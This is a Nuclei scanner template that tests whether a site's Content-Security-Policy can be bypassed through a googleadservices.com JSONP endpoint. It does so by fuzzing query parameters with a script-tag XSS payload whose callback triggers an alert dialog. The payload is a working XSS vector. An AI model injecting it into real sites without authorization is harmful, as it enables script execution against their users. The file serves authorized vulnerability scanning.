id: googleadservices-partner-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Ad Services Partner
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,googleadservices-partner

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "googleadservices.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: googleadservices_partner_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://partner.googleadservices.com/gampad/cookie.js?domain=x&callback=alert&client=ca-pub-3374367632700222"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "googleadservices_partner_csp_xss == true"
# digest: 490a0046304402201af57eeb6a67b1eb842cedab15d452c0481e11ce1d585b9fd6ddb77f655e7bdd022025312272e004d9e2d52ce69d4a6533ee27548e3510e2229c9e1358c782974d60:922c64590222798bb761d5b6d8e72950